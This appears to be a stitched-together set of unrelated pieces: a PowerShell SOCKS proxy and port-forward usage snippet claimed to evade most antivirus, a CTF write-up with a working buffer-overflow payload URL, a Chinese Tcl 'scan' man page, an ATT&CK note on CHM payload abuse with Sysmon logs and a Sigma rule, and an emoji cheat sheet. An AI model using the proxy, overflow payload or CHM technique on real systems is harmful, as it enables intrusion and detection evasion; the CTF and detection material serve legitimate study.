**Create a Socks 4/5 proxy on port 1234:**
```bash
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1234
```
**Create a simple tcp port forward:**
```bash
Import-Module .\Invoke-SocksProxy.psm1
Invoke-PortFwd -bindPort 33389 -destHost 127.0.0.1 -destPort 3389
```
可目前过大部分反病毒软件。
> Micropoor
|
sec-knowleage
|
# Hello World! - FLAG0
## 0x00 Index
The home page is looks like the following.

And it will print out hello xyz when you send whatever via a get request.
[http://127.0.0.1/xxxxxxxxxx/?stdin=world][1]

[http://127.0.0.1/xxxxxxxxxx/?stdin=0123456789012345678901234567890123456789][3]
When make the std in 40 bytes long, some wried paddings are showing up.

[http://127.0.0.1/xxxxxxxxxx/?stdin=01234567890123456789012345678901234567890][4]
When add one more byte, the program crushed and showed core dump.

## 0x01 Decompile
It also has a [binary file](./vulnerable) availavle to download and analysis.
The binary file starts with something **ELF**. So may need to decompile it to take a look.
[snowman][2] is a pretty good decomplier for C/C++. Here I got the source [vulnerable.c](./vulnerable.c) here.
There is an important function just before pringing out the **FLAGS**.
```c
void print_flags() {
int64_t rax1;
int64_t rsi2;
int64_t rdx3;
void* rbp4;
uint32_t eax5;
unsigned char v6;
int64_t rbp7;
rax1 = fun_400550("FLAGS");
fun_400560(rax1, rsi2, rdx3);
fun_4005a0(0);
rbp4 = reinterpret_cast<void*>(reinterpret_cast<int64_t>(__zero_stack_offset()) - 8 - 8 + 8 - 8 + 8 - 8 + 8 - 8);
fun_400580(reinterpret_cast<int64_t>(rbp4) - 32, 0, 32);
read_all_stdin(reinterpret_cast<int64_t>(rbp4) - 32, 0, 32);
eax5 = v6;
if (*reinterpret_cast<signed char*>(&eax5)) {
fun_400570("Hello %s!\n", reinterpret_cast<int64_t>(rbp4) - 32, 32);
} else {
fun_400560("What is your name?", 0, 32);
}
goto rbp7;
}
```
So we need add up the padding to it goto print the **FLAGS** at 0406ee
[http://127.0.0.1/xxxxxxxxxx/?stdin=0123456789012345678901234567890123456789%ee%06%40%00%00%00%00%00][5]
And here we get the flag.

[1]: http://127.0.0.1/xxxxxxxxxx/?stdin=world
[2]: https://github.com/yegord/snowman
[3]: http://127.0.0.1/xxxxxxxxxx/?stdin=0123456789012345678901234567890123456789
[4]: http://127.0.0.1/xxxxxxxxxx/?stdin=01234567890123456789012345678901234567890
[5]: http://127.0.0.1/xxxxxxxxxx/?stdin=0123456789012345678901234567890123456789%ee%06%40%00%00%00%00%00
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\" Copyright (c) 2000 Scriptics Corporation.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: scan.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: scan.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH scan 3tcl 8.3 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
scan \- 使用 sscanf 式样的转换指定符分析字符串
.SH "总览 SYNOPSIS"
\fBscan \fIstring format \fR?\fIvarName varName ...\fR?
.BE
.SH INTRODUCTION
.PP
这个命令用与 ANSI C \fBsscanf\fR 过程相同的方式从输入字符串中分析字段并返回完成的转换数目的总计,如果在任何转换被完成之前到达了输入字符串的结束则返回 -1。\fIString\fR 给出要被分析的输入而 \fIformat\fR 指示如何分析它,使用与 \fBsscanf\fR 相同的 \fB%\fR 转换指定符。每个 \fIvarName\fR 给出一个变量的名字;在从 \fIstring\fR 中检索出一个字段的时候,结果被转换回一个字符串并赋值给相应的变量。
.VS 8.3
如果未指定 \fIvarName\fR 变量,则 \fBscan\fR 在行内(inline)方式下工作,返回的数据将是一个列表而不存储在变量中。在行内方式下,如果在任何转换被完成之前到达了输入字符串的结束则返回,则返回一个空串。
.VE 8.3
.SH "检索细节 DETAILS ON SCANNING"
.PP
\fBScan\fR 操作一起检索 \fIstring\fR 和 \fIformat\fR。如果在 \fIformat\fR 的下一个字符是一个空字符(blank)或跳格字符(tab)则它匹配在 \fIstring\fR 中任何数目(包括零个)的白空格字符。
如果它不是一个 \fB%\fR 字符则它必须匹配 \fIstring \fR的下一个字符。当在 \fIformat\fR 中遇到一个 \fB%\fR 的时候,它指示一个转换指定符的开始。
一个转换指定符包括 \fB% \fR和后面的最多四个字段: 一个 \fB*\fR,它指示丢弃被转换出的值而不是赋值到变量中;一个 XPG3 位置指定符;一个数指示最大的字段宽度;和一个转换字符。除了转换字符之外所有这些字段都是可选的。存在的字段必须按照上面给出的次序出现。
.PP
当 \fBscan\fR 在 \fIformat \fR中发现一个转换指定符的时候,它首先跳过 \fIstring\fR 中的所有白空格(除非指定符是 \fB[\fR 或 \fBc\fR)。接着它依据转换指定符转换下一组输入字符,并把结果存储到用给 \fBscan\fR 的下一个参数给出的变量中。
.PP
如果 \fB%\fR 跟随着一个十进制数和一个 \fB$\fR,比如``\fB%2$d\fR'',则使用的变量不取自下一个顺序的参数。而是取自用这个数字指定的参数,这里 1 对应着第一个 \fIvarName\fR。如果在 \fIformat\fR 中有任何位置指定符则所有指定符都必须被指定位置。每个在参数列表上的 \fIvarName\fR 必须准确的对应于一个转换指定符,否则生成一个错误。在行内方式下,任何位置指定符可以指定最多一次,并且用空串填充空位置指定符。
.PP
支持下列转换字符:
.TP 10
\fBd\fR
输入字段必须是一个十进制整数。它被读入并作为一个十进制字符串存储到变量中。
.TP 10
\fBo\fR
输入字段必须是一个八进制整数。它被读入并作为一个八进制字符串存储到变量中。
.VS 8.4
If the value exceeds MAX_INT (017777777777 on platforms using 32-bit
integers), it will be truncated to a signed integer. Hence, 037777777777
will appear as -1 on a 32-bit machine.
.VE 8.4
.TP 10
\fBx\fR
输入字段必须是一个十六进制整数。它被读入并作为一个十六进制字符串存储到变量中。
.VS 8.4
If the value exceeds MAX_INT (0x7FFFFFFF on platforms using 32-bit
integers), it will be truncated to a signed integer. Hence, 0xFFFFFFFF
will appear as -1 on a 32-bit machine.
.VE 8.4
.TP 10
\fBu\fR
输入字段必须是一个十进制整数。它被读入并作为一个无符号十进制字符串存储到变量中。
.TP 10
\fBi\fR
输入字段必须是一个整数。使用与 \fBexpr\fR 中描述的相同方式确定基数(base)(例如,十进制、八进制、或十六进制)。值被作为一个十进制字符串存储到变量中。
.TP 10
\fBc\fR
读入一个单一的字符并把它的二进制值作为一个十进制字符串存储到变量中。在这种情况下不跳过初始的白空格,这样输入字段可以是一个白空格字符。这个转换不同于 ANSI 标准的地方是输入字段总是由一个单一字段组成并且不可以指定字段宽度。
.TP 10
\fBs\fR
输入字段由到下一个白空格为止的所有字符组成;把这些字符复制到变量中。
.TP 10
\fBe\fR 或 \fBf\fR 或 \fBg\fR
输入字段必须是一个浮点数,其组成是一个可选的正负号,一个可能有小数点的十进制数字的字符串,和一个可选的指数,它由一个 \fBe\fR 或 \fBE\fR 并跟随着一个可选的正负号和一个十进制数字的字符串组成。它被读入并作为一个浮点数存储到变量中。
.TP 10
\fB[\fIchars\fB]\fR
输入字段由任何数目的在 \fIchars \fR中的字符组成。把匹配的字符串存储到变量中。如果在方括号之间的第一个字符是\fB]\fR 则它被作为 \fIchars\fR 的一部分来对待而不是这个字符集合的闭合方括号。
如果 \fIchars\fR 包括一个 \fIa\fB\-\fIb\fR 形式的序列,则匹配在 \fIa\fR 和 \fIb\fR 之间(包括二者)的任何字符。如果在方括号之间的第一个或最后一个字符是一个 \fB-\fR,则它被作为 \fIchars\fR 的一部分来对待而不是指示一个范围。
.TP 10
\fB[^\fIchars\fB]\fR
输入字段由任何数目的不在 \fIchars \fR中的字符组成。把匹配的字符串存储到变量中。如果紧随在 \fB^\fR 后面的字符是一个 \fB]\fR 则它被作为 \fIchars\fR 的一部分来对待而不是这个字符集合的闭合方括号。
如果\fIchars\fR 包括一个 \fIa\fB\-\fIb\fR 形式的序列,则从字符的集合中排除在 \fIa\fR 和 \fIb\fR 之间(包括二者)的任何字符。如果在方括号之间的第一个或最后一个字符是一个 \fB-\fR,则它被作为 \fIchars\fR 的一部分来对待而不是指示一个范围。
.TP 10
\fBn\fR
不从输入字符串中消耗输入。而是把到现在为止从输入字符串中检索到的字符总数存储到变量中。
.LP
对于一个转换从输入中读的字符数目应该是对特定转换最大的数目(例如,对 \fB%d \fR是尽可能多的十进制数字,对于 \fB%o \fR是尽可能多的八进制数字,以此类推)。给一个给定转换的输入要么终止于遇到一个白空格要么终止于达到了最大的字段宽度,只要其中一种情况满足就终止。如果在转换指定符中存在一个 \fB*\fR 则不赋值变量并且不消耗下一个检索参数。
.SH "与ANSI SSCANF 的区别 DIFFERENCES FROM ANSI SSCANF"
.PP
除了下列区别之外 \fBscan\fR 命令的行为与 ANSI C \fBsscanf\fR 过程的行为相同:
.IP [1]
当前不支持 \fB%p\fR 转换指定符。
.IP [2]
对于 \fB%c\fR 转换,把一个单一字符转换成一个十进制字符串,接着把它赋值给相应的 \fIvarName\fR;对于这个转换不能指定字段宽度。
.IP [3]
忽略 \fBl\fR、\fBh\fR、和 \fBL\fR 修饰符;转换整数值总是如同不存在修饰符,而转换实数值总是如同存在 \fBl\fR 修饰符(就是说,对于内部表示使用类型 \fBdouble\fR)。
.IP [4]
.VS 8.3
如果在任何转换被完成之前到达了输入字符串的结束并且未给出变量,则返回一个空串。
.VE 8.3
.SH "参见 SEE ALSO"
format(n), sscanf(3)
.SH "关键字 KEYWORDS"
conversion specifier, parse, scan
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/11/07
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# T1218-001-win-编译HTML文件
## 来自ATT&CK的描述
攻击者可能会滥用编译的HTML文件(.chm)来掩盖恶意代码。CHM文件通常作为微软HTML帮助系统的一部分分发。CHM文件是各种内容的压缩汇编,如HTML文档、图像和脚本/网络相关编程语言,如VBA、JScript、Java和ActiveX。CHM内容的显示是使用由HTML帮助可执行程序(hh.exe)加载的Internet Explorer浏览器的底层组件。
一个包含有效载荷的自定义CHM文件可以被传递给目标,然后由用户执行触发。在不考虑通过hh.exe执行二进制文件的旧系统或未打补丁的系统上,CHM执行也可能绕过应用程序控制。
## 测试案例
编译的html文件(.chm)可运行如下:HTML documents, images,and scripting/web related programming languages such VBA,JScript,Java,and ActiveX。并通过hh.exe来打开他们,红队可用chm文件来隐藏一段payload,此技术也可以来绕过一些检测病毒检测。
## 检测日志
windows security
windows sysmon
## 测试复现
```
C:\Users\zhuli>hh.exe C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.001\src\T1218.001.chm
```
执行成功
## 测试留痕
Windows Sysmon记录
```
日志名称: Microsoft-Windows-Sysmon/Operational
来源: Microsoft-Windows-Sysmon
日期: 2022/1/9 21:18:49
事件 ID: 1
任务类别: Process Create (rule: ProcessCreate)
级别: 信息
关键字:
用户: SYSTEM
计算机: zhuli.qax.com
描述:
Process Create:
RuleName: -
UtcTime: 2022-01-09 13:18:49.717
ProcessGuid: {78c84c47-e0b9-61da-c409-000000000800}
ProcessId: 3576
Image: C:\Windows\hh.exe
FileVersion: 10.0.17763.1 (WinBuild.160101.0800)
Description: Microsoft® HTML Help Executable
Product: HTML Help
Company: Microsoft Corporation
OriginalFileName: HH.exe
CommandLine: hh.exe C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.001\src\T1218.001.chm
CurrentDirectory: C:\Users\zhuli\
User: QAX\zhuli
LogonGuid: {78c84c47-3b57-61d8-525f-090000000000}
LogonId: 0x95F52
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA1=4B1E2F8EFBECB677080DBB26876311D9E06C5020,MD5=1CECEE8D02A8E9B19D3A1A65C7A2B249,SHA256=8AB2F9A4CA87575F03F554AEED6C5E0D7692FA9B5D420008A1521F7F7BD2D0A5,IMPHASH=D3D9C3E81A404E7F5C5302429636F04C
ParentProcessGuid: {78c84c47-e09d-61da-b909-000000000800}
ParentProcessId: 3500
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
ParentUser: QAX\zhuli
事件 Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698ffbd9}" />
<EventID>1</EventID>
<Version>5</Version>
<Level>4</Level>
<Task>1</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreated SystemTime="2022-01-09T13:18:49.718598100Z" />
<EventRecordID>7093</EventRecordID>
<Correlation />
<Execution ProcessID="2764" ThreadID="3668" />
<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>zhuli.qax.com</Computer>
<Security UserID="S-1-5-18" />
</System>
<EventData>
<Data Name="RuleName">-</Data>
<Data Name="UtcTime">2022-01-09 13:18:49.717</Data>
<Data Name="ProcessGuid">{78c84c47-e0b9-61da-c409-000000000800}</Data>
<Data Name="ProcessId">3576</Data>
<Data Name="Image">C:\Windows\hh.exe</Data>
<Data Name="FileVersion">10.0.17763.1 (WinBuild.160101.0800)</Data>
<Data Name="Description">Microsoft® HTML Help Executable</Data>
<Data Name="Product">HTML Help</Data>
<Data Name="Company">Microsoft Corporation</Data>
<Data Name="OriginalFileName">HH.exe</Data>
<Data Name="CommandLine">hh.exe C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.001\src\T1218.001.chm</Data>
<Data Name="CurrentDirectory">C:\Users\zhuli\</Data>
<Data Name="User">QAX\zhuli</Data>
<Data Name="LogonGuid">{78c84c47-3b57-61d8-525f-090000000000}</Data>
<Data Name="LogonId">0x95f52</Data>
<Data Name="TerminalSessionId">1</Data>
<Data Name="IntegrityLevel">Medium</Data>
<Data Name="Hashes">SHA1=4B1E2F8EFBECB677080DBB26876311D9E06C5020,MD5=1CECEE8D02A8E9B19D3A1A65C7A2B249,SHA256=8AB2F9A4CA87575F03F554AEED6C5E0D7692FA9B5D420008A1521F7F7BD2D0A5,IMPHASH=D3D9C3E81A404E7F5C5302429636F04C</Data>
<Data Name="ParentProcessGuid">{78c84c47-e09d-61da-b909-000000000800}</Data>
<Data Name="ParentProcessId">3500</Data>
<Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data>
<Data Name="ParentCommandLine">"C:\Windows\system32\cmd.exe" </Data>
<Data Name="ParentUser">QAX\zhuli</Data>
</EventData>
</Event>
```
## 检测规则/思路
### sigma规则
```yml
title: 使用编译的恶意html文件(.chm)
status: experimental
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1 #Windows sysmon日志
Image: C:\Windows\hh.exe
Commanline: '*.chm'
condition: selection
level: low
```
### 建议
暂无
## 相关TIP
[[T1218-002-win-签名的二进制代理执行-Control.exe(白名单)]]
[[T1218-007-win-签名的二进制代理执行-Msiexec]]
## 参考推荐
MITRE-ATT&CK-T1218-001
<https://attack.mitre.org/techniques/T1218/001/>
跟着ATT&CK学安全之defense-evasion
<https://snappyjack.github.io/articles/2020-01/%E8%B7%9F%E7%9D%80ATT&CK%E5%AD%A6%E5%AE%89%E5%85%A8%E4%B9%8Bdefense-evasion>
|
sec-knowleage
|
---
title: Emoji
date: 2020-12-15 18:28:43
background: bg-[#ebbe46]
tags:
categories:
- Other
intro: Some of the emoji codes are not super easy to remember, so here is a little cheat sheet.
---
Getting Started
----------
### People
| - | - |
|--------------------------------|----------------------------------|
| :smile: | `:smile:` |
| :laughing: | `:laughing:` |
| :blush: | `:blush:` |
| :smiley: | `:smiley:` |
| :relaxed: | `:relaxed:` |
| :smirk: | `:smirk:` |
| :heart_eyes: | `:heart_eyes:` |
| :kissing_heart: | `:kissing_heart:` |
| :kissing_closed_eyes: | `:kissing_closed_eyes:` |
| :flushed: | `:flushed:` |
| :relieved: | `:relieved:` |
| :satisfied: | `:satisfied:` |
| :grin: | `:grin:` |
| :wink: | `:wink:` |
| :stuck_out_tongue_winking_eye: | `:stuck_out_tongue_winking_eye:` |
| :stuck_out_tongue_closed_eyes: | `:stuck_out_tongue_closed_eyes:` |
| :grinning: | `:grinning:` |
| :kissing: | `:kissing:` |
| :kissing_smiling_eyes: | `:kissing_smiling_eyes:` |
| :stuck_out_tongue: | `:stuck_out_tongue:` |
| :sleeping: | `:sleeping:` |
| :worried: | `:worried:` |
| :frowning: | `:frowning:` |
| :anguished: | `:anguished:` |
| :open_mouth: | `:open_mouth:` |
| :grimacing: | `:grimacing:` |
| :confused: | `:confused:` |
| :hushed: | `:hushed:` |
| :expressionless: | `:expressionless:` |
| :unamused: | `:unamused:` |
| :sweat_smile: | `:sweat_smile:` |
| :sweat: | `:sweat:` |
| :disappointed_relieved: | `:disappointed_relieved:` |
| :weary: | `:weary:` |
| :pensive: | `:pensive:` |
| :disappointed: | `:disappointed:` |
| :confounded: | `:confounded:` |
| :fearful: | `:fearful:` |
| :cold_sweat: | `:cold_sweat:` |
| :persevere: | `:persevere:` |
| :cry: | `:cry:` |
| :sob: | `:sob:` |
| :joy: | `:joy:` |
| :astonished: | `:astonished:` |
| :scream: | `:scream:` |
| :tired_face: | `:tired_face:` |
| :angry: | `:angry:` |
| :rage: | `:rage:` |
| :triumph: | `:triumph:` |
| :sleepy: | `:sleepy:` |
| :yum: | `:yum:` |
| :mask: | `:mask:` |
| :sunglasses: | `:sunglasses:` |
| :dizzy_face: | `:dizzy_face:` |
| :imp: | `:imp:` |
| :smiling_imp: | `:smiling_imp:` |
| :neutral_face: | `:neutral_face:` |
| :no_mouth: | `:no_mouth:` |
| :innocent: | `:innocent:` |
| :alien: | `:alien:` |
| :yellow_heart: | `:yellow_heart:` |
| :blue_heart: | `:blue_heart:` |
| :purple_heart: | `:purple_heart:` |
| :heart: | `:heart:` |
| :green_heart: | `:green_heart:` |
| :broken_heart: | `:broken_heart:` |
| :heartbeat: | `:heartbeat:` |
| :heartpulse: | `:heartpulse:` |
| :two_hearts: | `:two_hearts:` |
| :revolving_hearts: | `:revolving_hearts:` |
| :cupid: | `:cupid:` |
| :sparkling_heart: | `:sparkling_heart:` |
| :sparkles: | `:sparkles:` |
| :star: | `:star:` |
| :star2: | `:star2:` |
| :dizzy: | `:dizzy:` |
| :boom: | `:boom:` |
| :collision: | `:collision:` |
| :anger: | `:anger:` |
| :exclamation: | `:exclamation:` |
| :question: | `:question:` |
| :grey_exclamation: | `:grey_exclamation:` |
| :grey_question: | `:grey_question:` |
| :zzz: | `:zzz:` |
| :dash: | `:dash:` |
| :sweat_drops: | `:sweat_drops:` |
| :notes: | `:notes:` |
| :musical_note: | `:musical_note:` |
| :fire: | `:fire:` |
| :hankey: | `:hankey:` |
| :poop: | `:poop:` |
| :shit: | `:shit:` |
| :+1: | `:+1:` |
| :thumbsup: | `:thumbsup:` |
| :-1: | `:-1:` |
| :thumbsdown: | `:thumbsdown:` |
| :ok_hand: | `:ok_hand:` |
| :punch: | `:punch:` |
| :facepunch: | `:facepunch:` |
| :fist: | `:fist:` |
| :v: | `:v:` |
| :wave: | `:wave:` |
| :hand: | `:hand:` |
| :raised_hand: | `:raised_hand:` |
| :open_hands: | `:open_hands:` |
| :point_up: | `:point_up:` |
| :point_down: | `:point_down:` |
| :point_left: | `:point_left:` |
| :point_right: | `:point_right:` |
| :raised_hands: | `:raised_hands:` |
| :pray: | `:pray:` |
| :point_up_2: | `:point_up_2:` |
| :clap: | `:clap:` |
| :muscle: | `:muscle:` |
| :metal: | `:metal:` |
| :fu: | `:fu:` |
| :runner: | `:runner:` |
| :running: | `:running:` |
| :couple: | `:couple:` |
| :family: | `:family:` |
| :two_men_holding_hands: | `:two_men_holding_hands:` |
| :two_women_holding_hands: | `:two_women_holding_hands:` |
| :dancer: | `:dancer:` |
| :dancers: | `:dancers:` |
| :ok_woman: | `:ok_woman:` |
| :no_good: | `:no_good:` |
| :information_desk_person: | `:information_desk_person:` |
| :raising_hand: | `:raising_hand:` |
| :bride_with_veil: | `:bride_with_veil:` |
| :bow: | `:bow:` |
| :couplekiss: | `:couplekiss:` |
| :couple_with_heart: | `:couple_with_heart:` |
| :massage: | `:massage:` |
| :haircut: | `:haircut:` |
| :nail_care: | `:nail_care:` |
| :boy: | `:boy:` |
| :girl: | `:girl:` |
| :woman: | `:woman:` |
| :man: | `:man:` |
| :baby: | `:baby:` |
| :older_woman: | `:older_woman:` |
| :older_man: | `:older_man:` |
| :man_with_gua_pi_mao: | `:man_with_gua_pi_mao:` |
| :man_with_turban: | `:man_with_turban:` |
| :construction_worker: | `:construction_worker:` |
| :cop: | `:cop:` |
| :angel: | `:angel:` |
| :princess: | `:princess:` |
| :smiley_cat: | `:smiley_cat:` |
| :smile_cat: | `:smile_cat:` |
| :heart_eyes_cat: | `:heart_eyes_cat:` |
| :kissing_cat: | `:kissing_cat:` |
| :smirk_cat: | `:smirk_cat:` |
| :scream_cat: | `:scream_cat:` |
| :crying_cat_face: | `:crying_cat_face:` |
| :joy_cat: | `:joy_cat:` |
| :pouting_cat: | `:pouting_cat:` |
| :japanese_ogre: | `:japanese_ogre:` |
| :japanese_goblin: | `:japanese_goblin:` |
| :see_no_evil: | `:see_no_evil:` |
| :hear_no_evil: | `:hear_no_evil:` |
| :speak_no_evil: | `:speak_no_evil:` |
| :guardsman: | `:guardsman:` |
| :skull: | `:skull:` |
| :feet: | `:feet:` |
| :lips: | `:lips:` |
| :kiss: | `:kiss:` |
| :droplet: | `:droplet:` |
| :ear: | `:ear:` |
| :eyes: | `:eyes:` |
| :nose: | `:nose:` |
| :tongue: | `:tongue:` |
| :love_letter: | `:love_letter:` |
| :bust_in_silhouette: | `:bust_in_silhouette:` |
| :busts_in_silhouette: | `:busts_in_silhouette:` |
| :speech_balloon: | `:speech_balloon:` |
| :thought_balloon: | `:thought_balloon:` |
{.plus-first .shortcuts-right}
### Symbols
| - | - |
|-----------------------------------|-------------------------------------|
| :one: | `:one:` |
| :two: | `:two:` |
| :three: | `:three:` |
| :four: | `:four:` |
| :five: | `:five:` |
| :six: | `:six:` |
| :seven: | `:seven:` |
| :eight: | `:eight:` |
| :nine: | `:nine:` |
| :keycap_ten: | `:keycap_ten:` |
| :1234: | `:1234:` |
| :zero: | `:zero:` |
| :hash: | `:hash:` |
| :symbols: | `:symbols:` |
| :arrow_backward: | `:arrow_backward:` |
| :arrow_down: | `:arrow_down:` |
| :arrow_forward: | `:arrow_forward:` |
| :arrow_left: | `:arrow_left:` |
| :capital_abcd: | `:capital_abcd:` |
| :abcd: | `:abcd:` |
| :abc: | `:abc:` |
| :arrow_lower_left: | `:arrow_lower_left:` |
| :arrow_lower_right: | `:arrow_lower_right:` |
| :arrow_right: | `:arrow_right:` |
| :arrow_up: | `:arrow_up:` |
| :arrow_upper_left: | `:arrow_upper_left:` |
| :arrow_upper_right: | `:arrow_upper_right:` |
| :arrow_double_down: | `:arrow_double_down:` |
| :arrow_double_up: | `:arrow_double_up:` |
| :arrow_down_small: | `:arrow_down_small:` |
| :arrow_heading_down: | `:arrow_heading_down:` |
| :arrow_heading_up: | `:arrow_heading_up:` |
| :leftwards_arrow_with_hook: | `:leftwards_arrow_with_hook:` |
| :arrow_right_hook: | `:arrow_right_hook:` |
| :left_right_arrow: | `:left_right_arrow:` |
| :arrow_up_down: | `:arrow_up_down:` |
| :arrow_up_small: | `:arrow_up_small:` |
| :arrows_clockwise: | `:arrows_clockwise:` |
| :arrows_counterclockwise: | `:arrows_counterclockwise:` |
| :rewind: | `:rewind:` |
| :fast_forward: | `:fast_forward:` |
| :information_source: | `:information_source:` |
| :ok: | `:ok:` |
| :twisted_rightwards_arrows: | `:twisted_rightwards_arrows:` |
| :repeat: | `:repeat:` |
| :repeat_one: | `:repeat_one:` |
| :new: | `:new:` |
| :top: | `:top:` |
| :up: | `:up:` |
